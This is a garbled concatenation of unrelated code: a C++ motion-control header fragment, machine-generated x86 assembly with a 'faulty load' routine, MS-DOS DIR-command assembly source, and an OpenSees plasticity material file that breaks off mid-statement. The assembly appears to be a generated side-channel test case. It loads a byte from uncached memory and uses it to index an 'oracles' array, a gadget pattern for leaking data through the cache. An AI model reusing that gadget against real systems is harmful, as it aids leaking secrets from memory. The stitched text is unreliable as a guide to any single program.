FB_INPUT LREAL mPosition = 0; FB_INPUT BOOL mRelative = false; FB_INPUT MC_SOURCE mSource = MC_SOURCE_SETVALUE; public: MC_ErrorCode onAxisTriggered(bool& isDone); }; class FbReadActualPosition : public FbReadInfoAxisType { public: FB_OUTPUT LREAL mPosition = 0; public: MC_ErrorCode onAxisEnable(bool& isDone); void onDisable(void); }; class FbReadCommandPosition : public FbReadActualPosition { public: MC_ErrorCode onAxisEnable(bool& isDone); }; class FbReadActualVelocity : public FbReadInfoAxisType { public: FB_OUTPUT LREAL mVelocity = 0; public: MC_ErrorCode onAxisEnable(bool& isDone); void onDisable(void); }; class FbReadCommandVelocity : public FbReadActualVelocity { public: MC_ErrorCode onAxisEnable(bool& isDone); }; class FbEmergencyStop : public FbWriteInfoAxisType { public: MC_ErrorCode onAxisTriggered(bool& isDone); }; #pragma pack(pop) } #endif /** _URANUS_FBSINGLEAXIS_HPP_ **/
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x10b1a, %r13 nop nop inc %r15 movw $0x6162, (%r13) nop nop nop nop nop xor %rbp, %rbp lea addresses_D_ht+0xef8, %rsi lea addresses_UC_ht+0x146cc, %rdi nop cmp $51596, %r13 mov $17, %rcx rep movsq nop xor %r13, %r13 lea addresses_A_ht+0xff4c, %rsi lea addresses_normal_ht+0x4834, %rdi dec %r8 mov $112, %rcx rep movsw nop nop add $14828, %rsi lea addresses_WC_ht+0xe74c, %rbp nop nop nop nop nop cmp $27460, %rax mov $0x6162636465666768, %rcx movq %rcx, %xmm7 movups %xmm7, (%rbp) nop nop nop and %rdi, %rdi lea addresses_UC_ht+0xbb4c, %rcx nop inc %rax mov $0x6162636465666768, %r15 movq %r15, (%rcx) nop nop nop nop sub $46467, %rbp lea addresses_UC_ht+0xbd40, %rdi dec %rcx vmovups (%rdi), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %rax nop nop nop nop xor %r15, %r15 lea addresses_WT_ht+0x2a8c, %r8 nop cmp %rdi, %rdi mov $0x6162636465666768, %rcx movq %rcx, %xmm1 vmovups %ymm1, (%r8) nop nop nop cmp $65517, %rax lea addresses_D_ht+0xdec, %rdi nop nop nop nop inc %rbp mov (%rdi), %r13 nop nop nop xor %r15, %r15 lea addresses_UC_ht+0x678c, %rsi nop nop add $51746, %r13 mov (%rsi), %r15 nop nop and %rdi, %rdi lea addresses_A_ht+0x1696a, %r13 nop sub $38817, %rcx mov (%r13), %r15w nop nop nop nop add %rbp, %rbp lea addresses_normal_ht+0x324c, %rsi lea addresses_UC_ht+0x1740, %rdi clflush (%rdi) add $36992, %r13 mov $105, %rcx rep movsb nop xor %rax, %rax lea addresses_A_ht+0x18b2c, %rdi nop add %rsi, %rsi movl $0x61626364, (%rdi) inc %rax lea addresses_WT_ht+0x13f4c, %r13 nop nop nop nop xor %rcx, %rcx vmovups (%r13), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %r15 nop nop nop nop nop xor $54936, %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %r8 push %r9 push %rbp push %rcx push %rdx // Store lea addresses_WT+0x1c094, %r13 xor %r15, %r15 mov $0x5152535455565758, %rdx movq %rdx, %xmm3 vmovups %ymm3, (%r13) nop nop nop cmp $44257, %rbp // Store lea addresses_normal+0x1ed4c, %rbp nop nop nop nop and $48137, %r8 movl $0x51525354, (%rbp) nop nop nop xor $17643, %rdx // Store lea addresses_normal+0x674c, %rbp nop nop nop nop xor %rdx, %rdx movl $0x51525354, (%rbp) nop nop nop nop nop sub %r9, %r9 // Faulty Load lea addresses_UC+0x9f4c, %r15 nop nop nop nop nop dec %rbp movntdqa (%r15), %xmm2 vpextrq $1, %xmm2, %r13 lea oracles, %rbp and $0xff, %r13 shlq $12, %r13 mov (%rbp,%r13,1), %r13 pop %rdx pop %rcx pop %rbp pop %r9 pop %r8 pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT', 'congruent': 3}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 11}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 1}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 10}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 10}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 1}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 6}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 1}} {'dst': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 5}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 10}} {'45': 350, '46': 4004, '49': 11965, '00': 1587, '08': 1, '47': 3, '44': 3919} 00 46 44 00 49 49 49 44 49 44 46 49 00 49 49 44 44 46 49 45 49 46 44 00 49 46 49 44 44 46 49 49 44 49 44 44 49 49 49 49 46 49 49 49 46 49 46 49 49 49 44 44 49 44 44 49 46 44 49 45 49 46 49 46 49 00 49 44 49 46 49 46 49 46 49 49 46 49 49 49 46 49 46 49 46 49 46 44 49 00 44 49 44 49 44 49 44 46 49 46 49 00 49 49 46 49 49 44 49 00 49 44 46 49 46 49 46 49 46 49 00 46 49 46 49 49 46 44 00 49 44 49 44 44 49 46 49 45 49 00 49 49 46 49 00 44 00 49 49 49 49 49 49 44 45 49 49 46 49 44 44 49 49 49 46 44 46 49 00 49 44 44 49 44 44 44 46 44 44 44 49 49 44 45 49 00 49 49 00 49 45 49 49 46 49 46 49 44 44 44 44 49 46 44 44 49 00 49 49 44 44 00 49 44 49 49 46 49 49 46 49 46 49 46 49 46 49 46 49 44 45 44 44 44 49 49 49 44 49 00 46 49 44 49 46 49 00 44 44 46 49 49 46 44 46 49 00 44 49 44 44 46 49 49 49 46 49 49 46 49 44 49 46 44 44 49 44 49 47 46 49 46 44 44 46 44 49 46 44 49 46 49 00 44 49 46 49 46 49 49 44 46 44 46 44 49 49 44 46 44 49 44 45 49 49 46 49 49 44 49 44 49 00 49 44 49 49 46 49 49 44 46 49 46 49 46 44 44 44 49 49 49 49 49 49 49 49 49 44 49 00 49 46 49 46 49 49 49 46 44 46 49 46 49 49 49 49 49 44 00 49 44 44 49 46 49 00 49 49 49 44 49 49 45 49 46 49 00 49 49 49 49 44 46 49 45 49 49 49 49 46 49 49 44 44 46 49 49 49 44 49 44 49 49 49 44 46 44 46 44 00 49 49 44 44 49 49 44 44 46 49 44 49 44 44 44 49 46 44 49 49 49 44 49 46 44 44 44 46 44 44 44 49 46 49 45 49 00 49 46 49 46 49 46 49 46 49 00 44 49 49 44 49 49 46 49 49 44 49 49 49 00 44 49 49 49 46 49 46 44 49 49 49 49 49 46 49 45 49 49 46 49 46 49 46 44 46 49 49 49 46 44 44 49 49 49 49 49 49 49 49 46 49 00 44 00 49 44 44 44 49 44 44 45 49 49 49 44 49 44 49 44 46 49 46 49 46 49 46 49 46 49 49 49 49 46 49 49 49 44 49 49 46 49 46 49 46 49 00 44 49 49 46 44 44 49 49 49 46 49 44 49 44 00 44 00 46 44 44 46 49 46 49 44 44 44 44 44 44 49 00 46 49 46 49 00 44 44 46 44 44 44 45 49 46 49 46 49 46 44 44 46 49 46 49 45 49 44 44 44 49 44 49 49 44 44 44 44 44 44 44 44 44 46 49 46 49 44 44 46 44 49 46 49 46 49 46 49 44 46 49 49 49 49 44 44 46 44 46 49 00 46 49 44 44 44 00 45 49 49 49 49 00 49 44 46 49 46 49 00 44 00 46 49 44 44 00 49 49 46 49 00 44 00 49 46 49 49 44 46 49 46 44 44 49 49 49 44 45 49 46 49 46 49 44 49 46 49 49 00 46 49 46 44 00 44 44 44 44 44 49 44 49 49 00 44 49 46 49 44 46 49 49 46 44 44 49 44 49 46 44 44 49 00 44 49 44 49 00 46 49 44 49 49 46 49 49 49 44 49 00 49 49 49 46 49 44 44 45 49 46 49 49 49 45 44 49 49 49 46 49 44 49 46 49 46 49 46 49 00 46 49 44 46 49 49 49 44 49 49 49 44 49 49 49 46 46 49 46 49 49 49 49 46 49 46 44 49 49 00 46 49 44 46 49 49 46 44 49 44 44 44 44 49 46 49 00 44 44 49 44 49 49 49 49 49 49 00 49 49 00 49 49 44 49 00 49 49 00 44 49 45 49 46 44 46 49 00 49 00 49 46 00 49 49 44 49 00 49 00 49 49 46 49 49 49 44 49 46 49 46 49 46 49 00 49 45 49 49 49 49 49 49 46 49 00 44 46 49 49 49 49 45 44 46 49 49 44 49 46 44 44 49 49 49 46 44 49 49 46 49 00 44 00 49 49 46 49 49 49 49 49 00 49 46 49 49 49 49 49 46 49 49 49 49 44 49 46 49 46 49 46 44 46 49 44 49 46 49 46 49 46 49 46 49 45 49 44 46 49 */
;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ ************************************************************ ************************************************************ ** ** ** THIS FILE IS OBSOLETE, NO LONGER USED, DEFUNCT, ** ** AND, IN FACT, DOESN'T EVEN EXIST. YOU ARE NOT ** ** HERE. YOU MAY NOT BE ANYWHERE AT ALL. THIS ** ** WHOLE THING COULDN'T POSSIBLY BE HAPPENING. ** ** ** ** See DIR.ASM for a reality check. ** ** ** ************************************************************ ************************************************************ page 80,132 ; SCCSID = @(#)tcmd1a.asm 1.1 85/05/14 ; SCCSID = @(#)tcmd1a.asm 1.1 85/05/14 TITLE PART4 COMMAND Transient routines. ; Internal commands DIR,PAUSE,ERASE,TYPE,VOL,VER INCLUDE comsw.asm .xlist .xcref INCLUDE DOSSYM.INC INCLUDE comseg.asm INCLUDE comequ.asm ;AC000; include ioctl.inc ;AN000; .list .cref TRANDATA SEGMENT PUBLIC BYTE ;AC000; EXTRN BadCD_ptr:word EXTRN bits:word EXTRN Bytmes_ptr:word EXTRN comsw:word EXTRN dir_w_syn:word ;AC000; EXTRN dirdat_mo_day:word ;AC000; EXTRN dirdat_yr:word ;AC000; EXTRN dirdattim_ptr:word EXTRN dirhead_ptr:word EXTRN dirtim_hr_min:word ;AC000; EXTRN Dirmes_ptr:word EXTRN disp_file_size_ptr:word EXTRN Dmes_ptr:word EXTRN Extend_buf_ptr:word ;AN000; EXTRN msg_disp_class:byte ;AN000; EXTRN parse_dir:byte ;AC000; EXTRN slash_p_syn:word ;AC000; EXTRN string_buf_ptr:word EXTRN tab_ptr:word ;AC000; TRANDATA ENDS TRANSPACE SEGMENT PUBLIC BYTE ;AC000; EXTRN bytes_free:word EXTRN charbuf:byte EXTRN COM:byte EXTRN Destisdir:byte EXTRN Desttail:word EXTRN dir_num:word EXTRN Dirbuf:byte EXTRN dirflag:byte ;AN015; EXTRN display_ioctl:word ;AC000; EXTRN display_mode:byte ;AC000; EXTRN filecnt:word EXTRN file_size_high:word EXTRN file_size_low:word EXTRN fullscr:word EXTRN ID:byte EXTRN lincnt:byte ;AC000; EXTRN linlen:byte EXTRN linperpag:word ;AC000; EXTRN msg_numb:word ;AN022; EXTRN parse1_addr:dword ;AC000; EXTRN parse1_syn:word ;AC000; EXTRN parse1_type:byte ;AC000; EXTRN pathcnt:word ;AN000; EXTRN pathpos:word ;AN000; EXTRN srcbuf:byte ;AC000; EXTRN string_ptr_2:word TRANSPACE ENDS TRANCODE SEGMENT PUBLIC BYTE ASSUME CS:TRANGROUP,DS:NOTHING,ES:NOTHING,SS:NOTHING ;--------------- TRANSPACE SEGMENT PUBLIC BYTE ;AC000; EXTRN arg:byte ; the arg structure! TRANSPACE ENDS ;--------------- EXTRN cerror:near EXTRN std_printf:near PUBLIC catalog break Catalog - Directory command assume ds:trangroup,es:trangroup ; ; The DIR command displays the contents of a directory. ; ; **************************************************************** ; * ; * ROUTINE: CATALOG - display file(s) in directory ; * ; * FUNCTION: PARSE command line for drive, file, or path name. ; * DIR allows two switches, /P (pause) and /W (wide). ; * If an error occurs issue and error message and ; * transfer control to CERROR. ; * ; * INPUT: command line at offset 81H ; * ; * OUTPUT: none ; * ; **************************************************************** CATALOG: ; ; Set up DTA for dir search firsts ; mov dx,offset trangroup:Dirbuf ;AC000; Set Disk transfer address mov ah,Set_DMA ;AC000; int int_command ;AC000; ; ; Set up defaults for switches and parse the command line. ; mov msg_numb,0 ;AN022; initialize message flag mov di,offset trangroup:srcbuf ;AN000; get address of srcbuf mov [pathpos],di ;AN000; this is start of path mov [pathcnt],1 ;AN000; initialize length to 1 char mov al,star ;AN000; initialize srcbuf to *,0d stosb ;AN000; mov al,end_of_line_in ;AN000; stosb ;AN000; mov si,81H ;AN000; Get command line mov di,offset trangroup:parse_dir ;AN000; Get adderss of PARSE_DIR xor cx,cx ;AC000; clear counter for positionals mov ComSw,cx ;AC000; initialize flags mov bits,cx ;AC000; initialize switches mov linperpag,linesperpage ;AC000; Set default for lines per page mov linlen,normperlin ;AC000; Set number of entries per line mov lincnt,normperlin ;AC000; dirscan: xor dx,dx ;AN000; invoke parse_with_msg ;AC018; call parser cmp ax,end_of_line ;AN000; are we at end of line? jne dirscan_cont ;AN000; No - continue parsing jmp scandone ;AN000; yes - go process dirscan_cont: cmp ax,result_no_error ;AN000; did we have an error? jz dirscan_cont2 ;AN000; No - continue parsing jmp badparm ;AN000; yes - exit dirscan_cont2: cmp parse1_syn,offset trangroup:dir_w_syn ;AN000; was /W entered? je set_dir_width ;AN000; yes - go set wide lines cmp parse1_syn,offset trangroup:slash_p_syn ;AN000; was /P entered? je set_dir_pause ;AN000; yes - go set pause at end of screen ; ; Must be filespec since no other matches occurred. move filename to srcbuf ; push si ;AC000; save position in line lds si,parse1_addr ;AC000; get address of filespec push si ;AN000; save address invoke move_to_srcbuf ;AC000; move to srcbuf pop dx ;AC000; get address in DX ; ; The user may have specified a device. Search for the path and see if the ; attributes indicate a device. ; mov ah,Find_First ;AC000; find the file int int_command ;AC000; jnc Dir_check_device ;AN022; if no error - check device invoke get_ext_error_number ;AN022; get the extended error cmp ax,error_no_more_files ;AN022; was error no file found jz Dir_fspec_end ;AC022; yes -> obviously not a device cmp ax,error_path_not_found ;AN022; was error no file found jz Dir_fspec_end ;AC022; yes -> obviously not a device jmp dir_err_setup ;AN022; otherwise - go issue error message dir_check_device: ;AN022; test byte ptr (DirBuf+find_buf_attr),attr_device ;AC000; jz Dir_fspec_end ;AC000; no, go do normal operation mov ComSw,-2 ;AC000; signal device dir_fspec_end: pop si ;AC000; restore position in line jmp short dirscan ;AC000; keep parsing set_dir_width: test byte ptr[bits],SwitchW ;AN018; /W already set? jz ok_set_width ;AN018; no - okay to set width mov ax,moreargs_ptr ;AN018; set up too many arguments invoke setup_parse_error_msg ;AN018; set up an error message jmp badparm ;AN018; exit ok_set_width: or bits,switchw ;AC000; indicate /w was selected mov linlen,wideperlin ;AC000; Set number of entries per line mov lincnt,wideperlin ;AC000; jmp short dirscan ;AC000; keep parsing set_dir_pause: test byte ptr[bits],SwitchP ;AN018; /p already set? jz ok_set_pause ;AN018; no - okay to set width mov ax,moreargs_ptr ;AN018; set up too many arguments invoke setup_parse_error_msg ;AN018; set up an error message jmp badparm ;AN018; exit ok_set_pause: or bits,switchp ;AC000; indicate /p was selected push cx ;AN000; save necessary registers push si ;AN000; mov ax,(IOCTL SHL 8) + generic_ioctl_handle ;AN000; get lines per page on display mov bx,stdout ;AN000; lines for stdout mov ch,ioc_sc ;AN000; type is display mov cl,get_generic ;AN000; get information mov dx,offset trangroup:display_ioctl ;AN000; int int_command ;AN000; lines_set: dec linperpag ;AN000; lines per actual page should dec linperpag ;AN000; two less than the max mov ax,linperpag ;AN000; get number of lines into mov [fullscr],ax ;AC000; screen line counter pop si ;AN000; restore registers pop cx ;AN000; jmp dirscan ;AC000; keep parsing ; ; The syntax is incorrect. Report only message we can. ; BadParm: jmp cerror ;AC000; invalid switches get displayed ScanDone: ; ; Find and display the volume ID on the drive. ; invoke okvolarg ;AC000; ; ; OkVolArg also disables APPEND, which will be re-enabled ; in the HeadFix routine, after we're done. ; mov [filecnt],0 ;AC000; Keep track of how many files found cmp comsw,0 ;AC000; did an error occur? jnz doheader ;AC000; yes - don't bother to fix path mov dirflag,-1 ;AN015; set pathcrunch called from DIR invoke pathcrunch ;AC000; set up FCB for dir mov dirflag,0 ;AN015; reset dirflag jc DirCheckPath ;AC015; no CHDIRs worked. jz doheader ;AC015; chdirs worked - path\*.* mov si,[desttail] ;AN015; get filename back jmp short DoRealParse ;AN015; go parse it DirCheckPath: mov ax,[msg_numb] ;AN022; get message number cmp ax,0 ;AN022; Is there a message? jnz dir_err_setup ;AN022; yes - there's an error cmp [destisdir],0 ;AC000; Were pathchars found? jz doparse ;AC000; no - no problem inc comsw ;AC000; indicate error jmp short doheader ;AC000; go print header DirNF: mov ax,error_file_not_found ;AN022; get message number in control block dir_err_setup: mov msg_disp_class,ext_msg_class ;AN000; set up extended error msg class mov dx,offset TranGroup:Extend_Buf_ptr ;AC000; get extended message pointer mov extend_buf_ptr,ax ;AN022; DirError: jmp Cerror ; ; We have changed to something. We also have a file. Parse it into a ; reasonable form, leaving drive alone, leaving extention alone and leaving ; filename alone. We need to special case ... If we are at the root, the ; parse will fail and it will give us a file not found instead of file not ; found. ; DoParse: mov si,offset trangroup:srcbuf ;AN000; Get address of source cmp byte ptr [si+1],colon_char ;AN000; Is there a drive? jnz dir_no_drive ;AN000; no - keep going lodsw ;AN000; bypass drive dir_no_drive: cmp [si],".." jnz DoRealParse cmp byte ptr [si+2],0 jnz DoRealParse inc ComSw jmp short DoHeader DoRealParse: mov di,FCB ; where to put the file name mov ax,(Parse_File_Descriptor SHL 8) OR 0EH int int_command ; ; Check to see if APPEND installed. If it is installed, set all flags ; off. This will be reset in the HEADFIX routine ; DoHeader: ; ORIGINAL APPEND CHECK CODE LOCATION ****************************** ; ; Display the header ; DoHeaderCont: mov al,blank ;AN051; Print out a blank invoke print_char ;AN051; before DIR header invoke build_dir_string ; get current dir string mov dx,offset trangroup:Dirhead_ptr invoke printf_crlf ; bang! ; ; If there were chars left after parse or device, then invalid file name ; cmp ComSw,0 jz DoSearch ; nothing left; good parse jl DirNFFix ; not .. => error file not found invoke RestUDir mov dx,offset TranGroup:BadCD_ptr jmp Cerror ; was .. => error directory not found DirNFFix: invoke RestUDir jmp DirNF ; ; We are assured that everything is correct. Let's go and search. Use ; attributes that will include finding directories. perform the first search ; and reset our directory afterward. ; DoSearch: mov byte ptr DS:[FCB-7],0FFH mov byte ptr DS:[FCB-1],010H ; ; Caution! Since we are using an extended FCB, we will *also* be returning ; the directory information as an extended FCB. We must bias all fetches into ; DIRBUF by 8 (Extended FCB part + drive) ; mov ah,Dir_Search_First mov dx,FCB-7 int int_command push ax ;AN022; save return state inc al ;AN022; did an error occur? pop ax ;AN022; get return state back jnz found_first_file ;AN022; no error - start dir invoke set_ext_error_msg ;AN022; yes - set up error message push dx ;AN022; save message invoke restudir ;AN022; restore user's dir pop dx ;AN022; restore message cmp word ptr Extend_Buf_Ptr,Error_No_More_Files ;AN022; convert no more files to jnz DirCerrorJ ;AN022; file not found mov Extend_Buf_Ptr,Error_File_Not_Found ;AN022; DirCerrorJ: ;AN022; jmp Cerror ;AN022; exit ; ; Restore the user's directory. We preserve, though, the return from the ; previous system call for later checking. ; found_first_file: push ax invoke restudir pop ax ; ; Main scanning loop. Entry has AL = Search first/next error code. Test for ; no more. ; DIRSTART: inc al ; FF = file not found jnz Display jmp DirDone ; Either an error or we are finished ; ; Note that we've seen a file and display the found file. ; Display: inc [filecnt] ; Keep track of how many we find mov si,offset trangroup:dirbuf+8 ; SI -> information returned by sys call call shoname ; ; If we are displaying in wide mode, do not output the file info ; test byte ptr[bits],SwitchW ; W switch set? jz DirTest jmp nexent ; If so, no size, date, or time ; ; Test for directory. ; DirTest: test [dirbuf+8].dir_attr,attr_directory jz fileent ; ; We have a directory. Display the <DIR> field in place of the file size ; mov dx,offset trangroup:Dmes_ptr call std_printf jmp short nofsiz ; ; We have a file. Display the file size ; fileent: mov dx,[DirBuf+8].dir_size_l mov file_size_low,dx mov dx,[DirBuf+8].dir_size_h mov file_size_high,dx mov dx,offset trangroup:disp_file_size_ptr call std_printf ; ; Display time and date of last modification ; nofsiz: mov ax,[DirBuf+8].dir_date ; Get date ; ; If the date is 0, then we have found a 1.x level diskette. We skip the ; date/time fields as 1.x did not have them. ; or ax,ax jz nexent ; Skip if no date mov bx,ax and ax,1FH ; get day mov dl,al mov ax,bx mov cl,5 shr ax,cl ; Align month and al,0FH ; Get month mov dh,al mov cl,bh shr cl,1 ; Align year xor ch,ch add cx,80 ; Relative 1980 cmp cl,100 jb millenium sub cl,100 millenium: xchg dh,dl ;AN000; switch month & day mov DirDat_yr,cx ;AC000; put year into message control block mov DirDat_mo_day,dx ;AC000; put month and day into message control block mov cx,[DirBuf+8].dir_time ; Get time jcxz prbuf ; Time field present? shr cx,1 shr cx,1 shr cx,1 shr cl,1 shr cl,1 ; Hours in CH, minutes in CL xchg ch,cl ;AN000; switch hours & minutes mov DirTim_hr_min,cx ;AC000; put hours and minutes into message subst block prbuf: mov dx,offset trangroup:DirDatTim_ptr call std_printf invoke crlf2 ;AC066;end the line dec byte ptr [fullscr] ;AC066;count the line jnz endif04 ;AN066;IF the last on the screen THEN call check_for_P ;AN066; pause if /P requested endif04: ;AN066; jmp scroll ; If not, just continue ;AD061; mov DirDat_yr,0 ;AC000; reset year, month and day ;AD061; mov DirDat_mo_day,0 ;AC000; in control block ;AD061; mov DirTim_hr_min,0 ;AC000; reset hour & minute in control block ; ; We are done displaying an entry. The code between "noexent:" and "scroll:" ; is only for /W case. ; nexent: mov bl,[lincnt] ;AN066;save for check for first entry on line dec [lincnt] ;count this entry on the line jnz else01 ;AX066;IF last entry on line THEN mov al,[linlen] mov [lincnt],al invoke crlf2 cmp [fullscr],0 ;AC066;IF have filled the screen THEN jnz endif02 ;AN066; call check_for_P ;AN066; reinitialize fullscr, endif02: ;AN066; IF P requested THEN pause jmp short endif01 ;AN066; else01: ;AN066;ELSE since screen not full cmp bl,[linlen] ;AN066; IF starting new line THEN jne endif03 ; count the line dec byte ptr [fullscr] ;AN066; ENDIF endif03: ;AC066;We are outputting on the same line, between fields, we tab. mov dx,offset trangroup:tab_ptr ;Output a tab call std_printf endif01: ;AX066; ; ; All we need to do now is to get the next directory entry. ; scroll: mov ah,Dir_Search_Next mov dx,FCB-7 ; DX -> Unopened FCB int int_command ; Search for a file to match FCB jmp DirStart ; ; If no files have been found, display a not-found message ; DirDone: invoke get_ext_error_number ;AN022; get the extended error number cmp ax,error_no_more_files ;AN022; was error file not found? jnz dir_err_setup_jmp ;AN022; no - setup error message test [filecnt],-1 jnz Trailer mov ax,error_file_not_found ;AN022; dir_err_setup_jmp: ;AN022; jmp dir_err_setup ;AN022; go setup error msg & print it ; ; If we have printed the maximum number of files per line, terminate it with ; CRLF. ; Trailer: mov al,[linlen] cmp al,[lincnt] ; Will be equal if just had CR/LF jz mmessage invoke crlf2 cmp [fullscr],0 ;AN066;IF on last line of screen THEN jnz endif06 ;AN066; pause before going on call check_for_P ;AN066; to number and freespace endif06: ;AN066; displays mmessage: mov dx,offset trangroup:Dirmes_ptr mov si,[filecnt] mov dir_num,si call std_printf mov ah,Get_Drive_Freespace mov dl,byte ptr DS:[FCB] int int_command cmp ax,-1 retz mul cx ; AX is bytes per cluster mul bx mov bytes_free,ax ;AC000; mov bytes_free+2,dx ;AC000; MOV DX,OFFSET TRANGROUP:BYTMES_ptr jmp std_printf shoname: mov di,offset trangroup:charbuf mov cx,8 rep movsb mov al,' ' stosb mov cx,3 rep movsb xor ax,ax stosb push dx mov dx,offset trangroup:charbuf mov string_ptr_2,dx mov dx,offset trangroup:string_buf_ptr call std_printf pop DX return check_for_P PROC NEAR ;AN066; test byte ptr[bits],SwitchP ;P switch present? jz endif05 ;AN066; mov ax,linperpag ;AN000; transfer lines per page mov [fullscr],ax ;AC000; to fullscr invoke Pause endif05: ret ;AN066; check_for_P ENDP ;AN066; trancode ends end 
// Written: Quan Gu and Zhijian Qiu // Created: 2013.7 // // Reference:JP Conte, MK. Jagannath, Seismic relibility analysis of concrete // gravity dams, A Report on Research, Rice University, 1995. // EA de Souza Neto, D Peri´c, DRJ Owen, Computational methods for // plasticity, Theory and applications (see pages 357 to 366), 2008. // // 3D J2 plasticity model with linear isotropic and kinematic hardening // // ------------------- #include <math.h> #include <stdlib.h> #include <PlaneStressSimplifiedJ2.h> #include <Information.h> #include <ID.h> #include <MaterialResponse.h> #include <Parameter.h> # define ND_TAG_PlaneStress 34526557578673 Matrix PlaneStressSimplifiedJ2::tmpMatrix(3,3); Vector PlaneStressSimplifiedJ2::tmpVector(3); // --- element: eps(1,1),eps(2,2),eps(3,3),2*eps(1,2),2*eps(2,3),2*eps(1,3) ---- // --- material strain: eps(1,1),eps(2,2),eps(3,3),eps(1,2),eps(2,3),eps(1,3) , same sign ---- // be careful! Here we use eps(1,1),eps(2,2),2*eps(1,2). i.e., the same as that of element. #include <SimplifiedJ2.h> #include <elementAPI.h> void * OPS_PlaneStressSimplifiedJ2(void) { int tag; double K, G, sig0, H_kin, H_iso; int numArgs = OPS_GetNumRemainingInputArgs(); if (numArgs != 6) { opserr << "ndMaterial PlaneStressSimplifiedJ2 incorrect num args: want tag G K sig0 H_kin H_iso\n"; return 0; } int iData[1]; double dData[5]; int numData = 1; if (OPS_GetInt(&numData, iData) != 0) { opserr << "WARNING invalid integer values: nDMaterial PlaneStressSimplifiedJ2 \n"; return 0; } tag = iData[0]; numData = 5; if (OPS_GetDouble(&numData, dData) != 0) { opserr << "WARNING invalid double values: nDMaterial PlaneStressSimplifiedJ2 " << tag << endln; return 0; } G = dData[0]; K = dData[1]; sig0 = dData[2]; H_kin = dData[3]; H_iso = dData[4]; NDMaterial *theMaterial2 = new SimplifiedJ2 (tag, 3, G, K, sig0, H_kin, H_iso); NDMaterial *theMaterial = new PlaneStressSimplifiedJ2 (tag, 2, *theMaterial2); return theMaterial; } PlaneStressSimplifiedJ2::PlaneStressSimplifiedJ2 (int pTag, int nd, NDMaterial &passed3DMaterial) : NDMaterial(pTag,ND_TAG_PlaneStress), stress(3), strain(3), Cstress(3), Cstrain(3),theTangent(3,3) { this->ndm = 2; the3DMaterial = passed3DMaterial.getCopy(); stress.Zero(); strain.Zero(); Cstress.Zero(); Cstrain.Zero(); savedStrain33=0.0; CsavedStrain33 = 0.0; } PlaneStressSimplifiedJ2::~PlaneStressSimplifiedJ2() { return; }; int PlaneStressSimplifiedJ2::plastIntegrator(){ int maxIter = 25; double tol = 1e-12; double e33 = CsavedStrain33; int debugFlag =0; static int counter =0; counter++; // opserr<<"counter:"<<counter<<endln; if (fabs(e33)>tol ) { // opserr<<"testing planestress j2 part "<<endln; // debugFlag =1; } static Vector strain3D(6); static Vector stress3D(6); static Matrix tangent3D(6,6); strain3D(0) = strain(0); strain3D(1) = strain(1); strain3D(2) = e33; strain3D(3) = strain(2); strain3D(4) = 0.0; strain3D(5) = 0.0; the3DMaterial->setTrialStrain(strain3D); stress3D = the3DMaterial->getStress(); tangent3D = the3DMaterial->getTangent(); int i =0; // ------ debug --------- if (debugFlag ==1){ opserr<<"iteration number:" <<i<<endln; opserr<<"strain is:" <<strain3D<<endln; opserr<<"stress is:"<<stress3D<<endln; opserr<<"tangent is:"<< tangent3D<<endln; } double e33_old=e33+1.0; while (( fabs(e33-e33_old)>tol) &&( fabs(stress3D(2))>tol) &&(i<maxIter)) { e33_old = e33; e33 -= stress3D(2)/tangent3D(2,2); strain3D(2) = e33; the3DMaterial->setTrialStrain(strain3D); stress3D = the3DMaterial->getStress(); tangent3D = the3DMaterial->getTangent(); if 